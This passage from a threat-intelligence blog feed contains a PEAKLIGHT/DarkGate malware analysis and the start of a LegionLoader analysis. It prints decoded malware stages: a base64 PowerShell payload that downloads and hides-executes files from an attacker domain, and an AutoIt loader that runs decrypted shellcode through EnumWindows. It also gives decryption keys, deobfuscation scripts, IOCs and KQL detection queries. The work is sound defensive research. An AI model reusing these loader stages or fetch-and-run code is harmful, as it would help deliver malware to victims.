,674,694,674,677,692,691,682,681,674,675,695,693,675,693,691,680,<br>682,694,682,674,694,681,674,692,675,682,677,680,674,682,692,695,681,692,680,693,680,692,<br>694,691,676,677,676,679,690,673,693,694,680,679,677,677,694,673,692,692,678,679,682,692,<br>673,678,679,679,676,681,692,682,674,695,682,682,678,690,692,675,677,682,692,682,695,674,<br>682,694,676,682,677,695,680,691,677,677,691,676,675,681,677,675,675,679,674,693,695,678,<br>675,695,674,677,682,679,693,691,674,679,691,694,673,690,695,677,677,694,692,679,674,675,<br>680,682,673,677,695,677,676,681,681,676,677,692,692,692,691,69</pre><h4>PowerShell Analysis</h4><p>Further decoding requires 625 to be subtracted from each numerical value and decoded again to reveal the PowerShell script with an obfuscated payload. This number is derived from the <strong>String.fromCharCode()</strong> function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*jnV69HtsQUf-C4K9eZvB7g.png" /></figure><p>The above PowerShell performs several operations focused on decrypting an encrypted payload and executing it.</p><p>The script begins by defining the function <strong>clean</strong>, which takes a string as input and converts it into an array of bites (“FF” becomes 0xFF). A long hex string is parsed by formatting every two characters into hexadecimal bytes. The processed byte array represents the encrypted payload.The main part of the script involves an AES decryption mechanism. <strong>[System.Security.Cryptography.Aes]::Create()</strong> is used to create an AES object initialized with the key (7079727A644C6F56584D515146686245) and an initialization vector (IV) set to 16 bytes of zeros. Once the AES configuration is completed, the <strong>CreateDecryptor </strong>method Is used to decrypt the byte representing the encrypted payload. The resulting data is then interpreted as a string.</p><p>The script then processes the decrypted string for execution. The first three characters of the string are used as the name of the command, and the rest of the string is treated as arguments.</p><p>Further deobfuscation requires performing AES decryption using the key and a zero-initialized IV to extract another obfuscated payload. <a href="https://github.com/TRACLabs1/Malware/tree/main/PeakLight">Here is the script used</a>:</p><pre>from Crypto.Cipher import AES<br> <br>def clean(hexstring):<br>    return bytes.fromhex(hexstring)<br> <br>encrypted_data = clean(&quot;5B5E2999E7BAF2BFBD2CEC84CD140……”)  # Truncated<br>key = clean(&quot;7079727A644C6F56584D515146686245&quot;)<br>iv = bytes(16)  # All zero IV<br> <br>cipher = AES.new(key, AES.MODE_CBC, iv)<br>decrypted_data = cipher.decrypt(encrypted_data).decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br> <br>print(decrypted_data)</pre><p>Output of decrypted script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*az1NRhU8NyRSM33NXRVe0A.png" /></figure><p>This script contains obfuscated PowerShell code that defines multiple functions:</p><ul><li><strong>iHU </strong>function writes binary data (stored in the <strong>$GDC</strong> variable) to a specified file path <strong>($HEJ</strong>).</li><li><strong>Xks </strong>function downloads data from a given URL (<strong>$IzR</strong>)</li><li><strong>HNS </strong>is responsible for decoding an array of obfuscated characters, achieved by subtracting a fixed value from each character in the array and then converting the result into a readable string.</li><li><strong>xgj </strong>function executes the hidden PowerShell command using PowerShell.exe with encoded base64 data to run further obfuscated instructions.</li></ul><p>The script to deobfuscate the PowerShell script (run it only in a sandbox / virtual machine):</p><pre>import base64<br> <br># Function to decode the character substitution obfuscation (HNS)<br>def decode_hns(obfuscated_array, key):<br>    &quot;&quot;&quot;<br>    Decodes an obfuscated array of integers into a string by subtracting a key value.<br>    :param obfuscated_array: List of integers representing obfuscated characters.<br>    :param key: Integer value to subtract from each element.<br>    :return: Decoded string.<br>    &quot;&quot;&quot;<br>    return &#39;&#39;.join([chr(x - key) for x in obfuscated_array])<br> <br># Function to decode base64 encoded strings<br>def decode_base64(encoded_string):<br>    &quot;&quot;&quot;<br>    Decodes a base64-encoded string.<br>    :param encoded_string: Base64 string to decode.<br>    :return: Decoded plain text string.<br>    &quot;&quot;&quot;<br>    return base64.b64decode(encoded_string).decode(&#39;utf-16&#39;)  # UTF-16 based on observed encoding in PowerShell<br> <br>Obfuscated array from the script<br>obfuscated_array = [163, 186, 201, 131, 172, 186, 183, 152, 193, 190, 186, 195, 201]<br>key = 85  # Subtraction key used in the HNS function<br>decoded_string = decode_hns(obfuscated_array, key)<br>print(&quot;Decoded String (HNS):&quot;, decoded_string)<br> <br># Base64-encoded string from the script <br>base64_payload = (<br>    &quot;JAB5AFQAcQAxACAAPQAgACIAdQBwAGQAYQB0AGUAcgAuAGUAeABlACIACgAkAG4AUAB6ADMAIAA9&quot;<br>    &quot;ACAALQBqAG8AaQBuACAAKAAoADYANQAuAC4AOQAwACkAIAArACAAKAA5ADcALgAuADEAMgAyACkA&quot;<br>    &quot;IAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFsAYwBoAGEAcgBdACQAXwAg&quot;<br>    &quot;AH0AIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAOAApACAAKwAgACIA&quot;<br>    &quot;LgBiAGkAbgAiAAoAJABmAFEAcgA0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABo&quot;<br>    &quot;ACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAtAGoAbwBpAG4A&quot;<br>    &quot;IAAoACgANAA4AC4ALgA1ADcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAg&quot;<br>    &quot;AFsAYwBoAGEAcgBdACQAXwAgAH0AKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8A&quot;<br>    &quot;dQBuAHQAIAA4ACkAKQAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZgBRAHIANAAg&quot;<br>    &quot;AC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAHwA&quot;<br>    &quot;IABPAHUAdAAtAE4AdQBsAGwACgAkAGcAVgBuADgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAt&quot;<br>    &quot;AFAAYQB0AGgAIAAkAGYAUQByADQAIAAtAEMAaABpAGwAZABQAGEAdABoACAAJAB5AFQAcQAxAAoA&quot;<br>    &quot;JABiAFMAcAA1ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABmAFEAcgA0&quot;<br>    &quot;ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAbgBQAHoAMwAKACQAbABEAHgAOQAgAD0AIAAiAGgA&quot;<br>    &quot;dAB0AHAAcwA6AC8ALwBkAG8AYwB1AC0AcwBpAGcAbgAuAGkAbgBmAG8ALwBhAHAAaQAvAHUAegAv&quot;<br>    &quot;ADAAOQAxADIANQA0ADUAMQA2ADQALwB1AHAAZABhAHQAZQAuAGIAaQBuACIACgAkAGMASwBqADYA&quot;<br>    &quot;IAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAGMAdQAtAHMAaQBnAG4ALgBpAG4AZgBvAC8AYQBw&quot;<br>    &quot;AGkALwB1AHoALwAwADkAMQAyADUANAA1ADEANgA0AC8AYwBvAG4AZgBpAGcALgBiAGkAbgAiAAoA&quot;<br>    &quot;SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAbABEAHgAOQAg&quot;<br>    &quot;AC0ATwB1AHQARgBpAGwAZQAgACQAZwBWAG4AOAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMA&quot;<br>    &quot;aQBuAGcACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABj&quot;<br>    &quot;AEsAagA2ACAALQBPAHUAdABGAGkAbABlACAAJABiAFMAcAA1ACAALQBVAHMAZQBCAGEAcwBpAGMA&quot;<br>    &quot;UABhAHIAcwBpAG4AZwAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABh&quot;<br>    &quot;AHQAaAAgACQAZwBWAG4AOAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGIAUwBwADUA&quot;<br>    &quot;IAAtAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAgAC0AVwBhAGkAdAAKACQAbgB1AGwAbAAgAD0AIAAk&quot;<br>    &quot;AHkAVABxADEALAAgACQAbgBQAHoAMwAsACAAJABmAFEAcgA0ACwAIAAkAGcAVgBuADgALAAgACQA&quot;<br>    &quot;YgBTAHAANQAsACAAJABsAEQAeAA5ACwAIAAkAGMASwBqADYA&quot;<br>)<br>decoded_payload = decode_base64(base64_payload)<br>print(&quot;Decoded Base64 Payload:\n&quot;, decoded_payload)</pre><p>Deobfuscated PowerShell script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*90naGNz8uJ40d3ZjckH2dA.png" /></figure><p>The script begins by defining several variables to manage file and directory paths. <strong>$yTq1 </strong>sets the filename to <strong>updater.exe</strong>, while <strong>$nPz3</strong> generates a random filename consisting of eight alphabetic characters appended with the <strong>.bin</strong> extension. <strong>$fQr4</strong> defines a random directory path within the TEMP directory.</p><p>The script then creates the specified directory in the TEMP folder. It constructs file paths for the payloads: <strong>$gVn8 </strong>specifies the full path for <strong>updater.exe,</strong> and <strong>$bSp5 </strong>does the same for the randomly named <strong>.bin</strong> file. The script proceeds to download two files from the URL hxxps://docu-sign[.]info/api/uz/0912545164/. The first file, <strong>update.bin</strong>, is saved as updater.exe, and the second file, <strong>config.bin</strong>, is saved with the randomized <strong>.bin</strong> filename in the newly created directory.</p><p><strong>updater.exe </strong>is then executed using the <strong>Start-Process </strong>cmdlet and passes the random .bin<strong> </strong>file as an argument. This process is executed in a hidden (<strong>NoNewWindow) </strong>mode and waits for completion.</p><p>From this script, we can identify the payloads as:</p><ul><li>hxxps://docu-sign[.]info/api/uz/0912545164/update.bin</li><li>hxxps://docu-sign[.]info/api/uz/0912545164/config.bin</li></ul><p><strong>update.bin</strong> is an AutoIt3 executable, a legitimate program used as a malware dropper.</p><p><strong>config.bin</strong> contains a different malicious payload.</p><h4>AutoIT Payload</h4><p>Using an AutoIT script decompiler, we can see what config.bin is doing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*iH4rIVxRAHfSqOHaKl7MXA.png" /></figure><h4>AutoIT Analysis</h4><p>The GUI Creation (<strong>GUICREATE </strong>calls) shown below are unrelated to the script’s function and appear to create GUIs with nonsensical names and dimensions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*D6fVnHW2xoayGZHEGH5GHQ.png" /></figure><p>The <strong>_ENCRYPT</strong> function decrypts the obfuscated data from the script. It takes two inputs: <strong>$VVALUE</strong>, likely an obfuscated or encrypted string, and <strong>$SKEY</strong>, the hardcoded key “JswaEdde”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*iJhqXep-R70lSPfMVxp02w.png" /></figure><p>The <strong>_ENCRYPT</strong> function decrypts the obfuscated data from the script. It takes two inputs: <strong>$VVALUE</strong>, likely an obfuscated or encrypted string, and <strong>$SKEY</strong>, the hardcoded key “JswaEdde”.</p><p>The decryption process begins with determining the length of the key <strong>($IKEYALT</strong>) and applying a transformation using XOR (<strong>BITXOR</strong>). Each byte of <strong>$VVALUE</strong> is then processed by XORing it with the modified key, applying a bitwise NOT operation (<strong>BITNOT</strong>), and using the result to construct the decrypted string. The output of the function is <strong>$S_ENCRYPTED</strong>.</p><p>Several encrypted hex-encoded strings are shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*9MMG0MJrJ2amzabPA0WdbQ.png" /></figure><p>The first step involves decrypting a chunk of data embedded in the script. The <strong>BINARYTOSTRING</strong> function takes a long hex-encoded string representing encrypted data and converts it into a binary format. The data is then passed into the <strong>_ENCRYPT</strong> function with a hardcoded key, “JswaEdde”. The <strong>_ENCRYPT</strong> function combines bitwise operations to decrypt the data. Once decrypted, the resulting content is stored in the variable <strong>$DATA</strong> and immediately executed using the <strong>EXECUTE</strong> function.</p><p>Following a similar process, the script decrypts another embedded blob using the same key.</p><p>The script continues this pattern of decrypting and executing multiple embedded blobs of data.</p><p>These payloads can be decrypted to reveal their functions. Here is the script used to decrypt the payloads:</p><pre>def decrypt(value, key):<br>    def binary_to_bytes(binary_str):<br>        # Remove the &quot;0x&quot; prefix and convert to bytes<br>        return bytes.fromhex(binary_str[2:])<br> <br>    def bitxor(a, b):<br>        return a ^ b<br> <br>    key_bytes = key.encode()<br>    value_bytes = binary_to_bytes(value)<br> <br>    key_alt = len(key_bytes)<br>    for i in range(1, key_alt + 1):<br>        key_alt = bitxor(key_bytes[i - 1], key_alt)<br> <br>    encrypted = []<br>    for i in range(len(value_bytes)):<br>        encrypted_byte = ~bitxor(value_bytes[i], key_alt) &amp; 0xFF<br>        encrypted.append(encrypted_byte)<br> <br>    return bytes(encrypted).decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br> <br> <br># Encrypted values from the script<br>encrypted_values = [<br>    &quot;0xA7BD969B8A81888CD0BE91949DAA9D999CD0BE91949DB7889D96D0B8AB9B8A91888CBE8D9494A8998C90D4D8C9CED1D4C9CFCBCAC9C0D1D4DAB28B8F99BD9C9C9DDAD1&quot;,<br>    &quot;0xBC9494AB8C8A8D9B8CBB8A9D998C9DD0DA9A818C9DA3C9CFCBCAC9C0A5DAD1&quot;,<br>    &quot;0xBC9494BB999494D0DA939D8A969D94CBCAD69C9494DAD4DABAB7B7B4DAD4DAAE918A8C8D9994A88A978C9D9B8CDAD4DA888C8ADAD4BC9494AB8C8A8D9B8CBF9D8CA88C8AD0DC888CD1D4DA91968CDAD4C9CFCBCAC9C0D8D4DA9C8F978A9CDAD4C880CCC8D4DA9C8F978A9CD2DAD4968D9494D1&quot;,<br>    &quot;0xBC9494AB8C8A8D9B8CAB9D8CBC998C99D0DC888CD4C9D4DC9C998C99D1&quot;,<br>    &quot;0xBC9494BB999494D0DA8D8B9D8ACBCAD69C9494DAD4DA91968CDAD4DABD968D95AF91969C978F8BDAD4DA888C8ADAD4BC9494AB8C8A8D9B8C&quot;<br>]<br> <br># Decrypt each value<br>key = &quot;JswaEdde&quot;<br>decrypted_values = [decrypt(value, key) for value in encrypted_values]<br> <br># Display results<br>print(decrypted_values)</pre><p>Decrypted output:</p><pre>#NoTrayIcon<br> <br>; Define encryption function<br>Func _ENCRYPT($VVALUE, $SKEY)<br>    $TBYTE = DllStructCreate(&quot;BYTE&quot;)<br>    Local $S_ENCRYPTED<br>    Local $IKEYALT = BinaryLen($SKEY)<br>    For $I = 1 To $IKEYALT<br>        $IKEYALT = BitXOR(BinaryMid($SKEY, $I, 1), $IKEYALT)<br>    Next<br>    For $I = 1 To BinaryLen($VVALUE)<br>        $S_ENCRYPTED &amp;= Chr(DllStructSetData($TBYTE, 1, BitNOT(BitXOR(BinaryMid($VVALUE, $I, 1), $IKEYALT))))<br>    Next<br>    Return $S_ENCRYPTED<br>EndFunc<br> <br>; Main script<br>Local $DATA<br>$DATA = _Encrypt(FileRead(FileOpen(@ScriptFullPath, 16), 173218), &quot;JswaEdde&quot;)<br> <br>; Create a DLL structure<br>Local $PT<br>$PT = DllStructCreate(&quot;byte[173218]&quot;)<br> <br>; Modify memory protection<br>DllCall(&quot;kernel32.dll&quot;, &quot;BOOL&quot;, &quot;VirtualProtect&quot;, &quot;ptr&quot;, DllStructGetPtr($PT), &quot;int&quot;, 173218, &quot;dword&quot;, 0x40, &quot;dword*&quot;, Null)<br> <br>; Set the data<br>DllStructSetData($PT, 1, $DATA)<br> <br>; Enumerate windows<br>DllCall(&quot;user32.dll&quot;, &quot;int&quot;, &quot;EnumWindows&quot;, &quot;ptr&quot;, DllStructGetPtr($PT))<br>Decrypted script fragments appear to perform various operations.</pre><p>The AutoIt script begins by hiding its presence (<strong>#NoTrayIcon </strong>) and uses the encryption function with the key hardcoded as “JswaEdde”.</p><p>The deobfuscated script reads its contents using <strong>FileRead</strong>, extracting data starting at a specific position (173218 bytes). This data is passed to the <strong>_ENCRYPT</strong> function along with the key “JswaEdde” (as described earlier). The function decrypts the obfuscated payload and stores the result in the variable <strong>$DATA</strong>.</p><p>Next, the script creates a memory structure using <strong>DllStructCreate</strong>, which is large enough to hold the decrypted payload (173218 bytes). The <strong>VirtualProtectAPI </strong>is then called to modify the memory’s permissions, setting them to executable (0x40), allowing the memory to contain code that can be executed.</p><p>The decrypted data stored in <strong>$DATA</strong> is then loaded into the memory structure created earlier. This is achieved using <strong>DllStructSetData</strong>, which copies the decrypted instructions into the allocated memory region. The final step involves calling the <strong>EnumWindows</strong> function from <strong>user32.dll</strong>. Normally, <strong>EnumWindows</strong> is used to enumerate all top-level windows on the screen by passing a pointer to a callback function. However, in this script, the callback function pointer (<strong>DllStructGetPtr($PT)</strong>) is replaced with the memory address containing the decrypted payload.</p><p>Effectively, this misuse of <strong>EnumWindows</strong> tricks the function into executing the malicious code stored in memory, ultimately dropping a DarkGate payload.</p><p>DarkGate Configuration:</p><pre>2=JswaEdde – xor key<br>0=inter2 – campaign ID<br>1=Yes – Process Hollowing injection enabled<br>3=Yes – PE Injection<br>5=Yes – process injection wikth nCmdShow set to SW_HIDE<br>6=No – persistence via registry run key<br>7=No – VM check (1)<br>8=No – VM check (2)<br>9=No – check disk space<br>10=100 – minimum disk size<br>11=No – check RAM<br>12=4096 – minimum RAM size<br>13=No – check XEON<br>14=C:\Windows\SysWOW64\OpenWith.exe – path to target file<br>15=Yes<br>16=No<br>18=Yes</pre><h4>HardHat Seminar</h4><p>The second binary, “HardhardSeminar.json,” can be deobfuscated similarly as CharcoalWharf. Once we decompile the AutoIT script, we can see the final payloads are the following:</p><ul><li>hxxps://pdb.timeless-tales[.]shop/api/reg/update.bin</li><li>hxxps://pdb.timeless-tales[.]shop/api/reg/config.bin</li></ul><p><strong>update.bin </strong>contains the AutoIT executable.</p><p><strong>config.bin </strong>is the final malware payload.</p><p>The payload for <strong>config.bin</strong> appeared to be misconfigured, effectively ending our analysis for this binary.</p><h3>Conclusion</h3><p>This campaign demonstrates the continued abuse of legitimate tools and techniques, such as PowerShell and AutoIt, to deliver and execute malware while evading traditional detection mechanisms. By leveraging obfuscation, memory-only execution, and seemingly benign processes like mshta.exe and EnumWindows, the attackers effectively bypass endpoint defenses. TRAC Labs continuously monitors the PEAKLIGHT campaign to identify new TTPs while proactively sharing intelligence to help organizations strengthen their defenses and mitigate future threats.</p><h3>Indicators of Compromise</h3><p>Indicators of compromise related to PEAKLIGHT can be found <a href="https://github.com/TRACLabs1/Malware/blob/main/PeakLight/IOCs.txt">here</a>.</p><h3>Detection Suggestions</h3><ol><li>Monitor for requests to URLs:</li></ol><ul><li>hxxp://download.wsconnect[.]org/Downloads/Instruction_1928_W9COI.pdf.lnk</li><li>hxxp://download.wsconnect[.]org/Downloads/Agreement%20for%20YouTube%20cooperation.pdf.lnk</li><li>hxxps://docu-sign[.]info/api/uz/0912545164/update.bin</li><li>hxxps://docu-sign[.]info/api/uz/0912545164/config.bin</li></ul><p>2. Monitor for suspicious base64-encoded commands spawning from the PowerShell process.</p><p>3. Monitor the updater.exe process reaching out to suspicious IPs.</p><p>4. Monitor for AutoIT script execution.</p><h3>Rules and Detection Queries</h3><p>Yara rules can be accessed <a href="https://github.com/RussianPanda95/Yara-Rules/tree/main/DarkGate">here</a>.</p><h4>KQL Queries</h4><p>Detect Directory Creation in the TEMP Folder</p><pre>DeviceFileEvents<br>| where ActionType == &quot;FileCreated&quot;<br>| where FolderPath has @&quot;C:\Windows\Temp\&quot;<br>| project TimeGenerated, DeviceName, AccountName, FolderPath, FileName</pre><p>Identify PowerShell Script Execution</p><pre>DeviceProcessEvents<br>| where FileName == &quot;powershell.exe&quot;<br>| where ProcessCommandLine has_any (&quot;New-Item&quot;, &quot;Invoke-WebRequest&quot;, &quot;Start-Process&quot;, &quot;NoNewWindow&quot;, &quot;Wait-Process&quot;)<br>| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine</pre><p>Detect Downloads from Suspicious Domains such as docu-sign[.]info</p><pre>DeviceNetworkEvents<br>| where RemoteUrl has &quot;docu-sign.info&quot;<br>| where ActionType == &quot;ConnectionSuccess&quot;<br>| project TimeGenerated, DeviceName, RemoteIP, RemoteUrl, Protocol, InitiatingProcessFileName</pre><p>Detect Execution of Newly Downloaded Files in TEMP</p><pre>DeviceProcessEvents<br>| where FolderPath has @&quot;C:\Windows\Temp\&quot;<br>| where FileName == &quot;updater.exe&quot;<br>| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, FolderPath</pre><p>Correlate Executions Passing .bin File as an Argument</p><pre>DeviceProcessEvents<br>| where FileName == &quot;updater.exe&quot;<br>| where ProcessCommandLine has &quot;.bin&quot;<br>| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, FileName</pre><p>Look for Randomized File Names</p><pre>DeviceFileEvents<br>| where FileName endswith &quot;.bin&quot;<br>| where FolderPath has @&quot;C:\Windows\Temp\&quot;<br>| project TimeGenerated, DeviceName, AccountName, FolderPath, FileName</pre><p>Detect Renamed AutoIT Executables</p><pre>DeviceProcessEvents<br>| where ProcessCommandLine has_any (&quot;AutoIt&quot;, &quot;AU3&quot;, &quot;AutoIT3Wrapper&quot;)<br>   or ProcessCommandLine matches regex @&quot;\w+\.exe.*\.au3&quot;<br>   or ProcessCommandLine has_any (&quot;#include&quot;, &quot;#requireadmin&quot;, &quot;Send(&quot;, &quot;ControlClick(&quot;)<br>| where not(FileName in (&quot;AutoIt3.exe&quot;, &quot;AutoIt.exe&quot;))  // Exclude known legit executables<br>| project TimeGenerated, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, ParentProcessName</pre><h3>References</h3><ul><li><a href="https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware">https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware</a></li><li><a href="https://russianpanda.com/The-Abuse-of-ITarian-RMM-by-Dolphin-Loader">https://russianpanda.com/The-Abuse-of-ITarian-RMM-by-Dolphin-Loader</a></li><li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emmenhtal">https://malpedia.caad.fkie.fraunhofer.de/details/win.emmenhtal</a></li><li><a href="https://github.com/RussianPanda95/Yara-Rules/tree/main/DarkGate">https://github.com/RussianPanda95/Yara-Rules/tree/main/DarkGate</a></li><li><a href="https://github.com/TRACLabs1/Malware/tree/main/PeakLight">https://github.com/TRACLabs1/Malware/tree/main/PeakLight</a></li><li><a href="https://github.com/TRACLabs1/Malware/blob/main/PeakLight/IOCs.txt">https://github.com/TRACLabs1/Malware/blob/main/PeakLight/IOCs.txt</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02a1bb44885c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/trac-labs/peaklight-illuminating-the-shadows-02a1bb44885c">PEAKLIGHT: Illuminating the Shadows</a> was originally published in <a href="https://medium.com/trac-labs">Malbear Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advancing Through the Cyberfront, LegionLoader Commander]]></title>
            <link>https://medium.com/@malbearlabs/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6af38ebe39d4</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 18:06:29 GMT</pubDate>
            <atom:updated>2024-12-30T18:42:05.237Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ckSBAWWziJa9Aj5Q" /></figure><h3>Case Study</h3><p>LegionLoader is a downloader malware written in C/C++ that first appeared in the wild in 2019. It is also known by other names, including <a href="https://securelist.com/satacom-delivers-cryptocurrency-stealing-browser-extension/109807/">Satacom</a> and <a href="https://x.com/anyrun_app/status/1828798277828890788">RobotDropper</a>, and is tracked as CurlyGate by Mandiant.</p><p>The loader has been observed delivering a malicious Chrome extension capable of altering email contents and monitoring browsing activity. It has also been observed implementing <a href="https://github.com/mandatoryprogrammer/CursedChrome">CursedChrome</a>, a Chrome extension that converts compromised Chrome browsers into HTTP proxies, allowing web browsing authenticated as the victims across all their websites.</p><p>Additionally, the extension can capture screenshots of the visible tab in Chrome and manage requests to access and update balances for Facebook, Coinbase, and Google Pay accounts, in addition to carrying out financial actions, such as withdrawing cryptocurrency funds.</p><p>Since August 2024, LegionLoader has been observed delivering stealers alongside Chrome extensions like LummaC2, Rhadamanthys, and StealC. The loader spreads through drive-by downloads, where users are tricked into visiting websites hosting fake installers, ultimately leading to payload delivery via RapidShare, which contains the link to MEGA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*rlou7rED0xYawauM31lmlA.png" /><figcaption>RapidShare serving LegionLoader (source: any.run)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*roqCHl6heQWOZsYEBcDb6w.png" /><figcaption>MEGA serving LegionLoader (source: any.run)</figcaption></figure><h3>Analysis of the Dropper</h3><p>Upon executing the MSI binary, the file sends the date and time of the file execution as well as the ProductLanguage to the server (software-license1.com/licenseUser[.]php) as a part of the registration or check-in process and fetches the response from the same server. The response contains the password for the protected ZIP archive that is embedded within the MSI binary and also serves as part of the RC4 key that we will cover further in this article.</p><p>The ZIP archive contains the malicious DLL file that is used for side-loading (<a href="https://attack.mitre.org/techniques/T1574/002/">T1574.002</a>). Previously, LegionLoader leveraged rnp.dll for side-loading using the legitimate rnpkeys.exe binary. Since September 2024, the loader has switched to using steamerrorreporter64.exe to side-load the malicious vstdlib_s64.dll file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHueIObptMlBBp_bJg7CRw.png" /><figcaption>Execution script code for the MSI file</figcaption></figure><p>Before reaching out to the server to retrieve the password, the user gets a prompt to confirm they are not a bot, as shown below. This is likely done to bypass sandbox analysis that does not involve human interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_T-oNIBKUn7BycW2BAAueA.png" /><figcaption>Human verification check (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*4pe4Ho5AfLK4cUcaoU86vQ.png" /><figcaption>Human verification check (2)</figcaption></figure><p>It’s worth mentioning that the malicious DLL file and other dependencies are located under the AppData\Roaming folder. The example of the folder and subfolder names are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FpPgavBMadYVo9HxcyvyyQ.png" /><figcaption>Properties of the MSI file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*xvGrvH-pwECkaonf9f1vQQ.png" /><figcaption>Encrypted and base64-encoded shellcode</figcaption></figure><p>This is the encrypted and base64-encoded shellcode. The base64-decoding takes place in the function shown below. In the screenshot, we can see that the payload is implementing an API hammering technique. API hammering occurs when the program rapidly calls many system APIs to evade detections and confuse researchers and analysts by executing numerous legitimate API calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*2yjPkB42HJRpjnO1Tn3H7Q.png" /><figcaption>Base64-decoding code</figcaption></figure><p>Upon decoding the Base64 blob, we are faced with another challenge. The base64-decoded shellcode is still in the encrypted form. The encrypted shellcode must go through another round of decryption using the RC4 algorithm.</p><p>The RC4 key is generated based on the calculations of the immediate constants and the registry key value. In the image below, we can see the first 4-byte part of the RC4 key is calculated based on adding the constants 0xFE54DF0F and 0x0010914C, which yields 0xFE65705B.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lh8XaNA71PqhAPBdf4wd2A.png" /><figcaption>Calculating the first part of the RC4 key</figcaption></figure><p>The second part of the key is calculated similarly to the first one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9iLthYB07anKm_dCDA75A.png" /><figcaption>Calculating the second part of the RC4 key</figcaption></figure><p>The third 4-byte part of the key is extracted from the registry key; it’s also worth mentioning that this is the same key (password) used to extract the malicious DLL mentioned earlier from the ZIP archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*bxpEiJSQ8i2dsMcu9xlHrA.png" /><figcaption>Registry key</figcaption></figure><p>The last part of the key is calculated based on the CRC32 hashing result, which takes the hardcoded value as input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*k-ThHdjF1bC7ixHjcRdKlA.png" /><figcaption>Code that calculates the CRC32 hash</figcaption></figure><p>Now that we have the RC4 key handy(5B 70 65 FE AA F1 C5 EB 64 0B D1 80 26 77 A3 58), we can decrypt the shellcode with CyberChef, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RjBjTXrNxFhG7p8j4Y8MA.png" /><figcaption>Shellcode decryption via CyberChef</figcaption></figure><p>The core LegionLoader payload is decrypted within the shellcode using the XTEA decryption algorithm, with a 16-byte key passed 14 bytes after the start of the shellcode payload. We have reproduced the algorithm; you can find the XTEA decryption script <a href="https://github.com/RussianPanda95/Configuration_extractors/blob/main/xtea_decrypt.py">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LIVxQHu0BK6Pp0-yfrwzAg.png" /><figcaption>XTEA algorithm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dv9mLFmA4rt2bxonNgFZJw.png" /><figcaption>XTEA key (shellcode payload)</figcaption></figure><figure><img alt="" 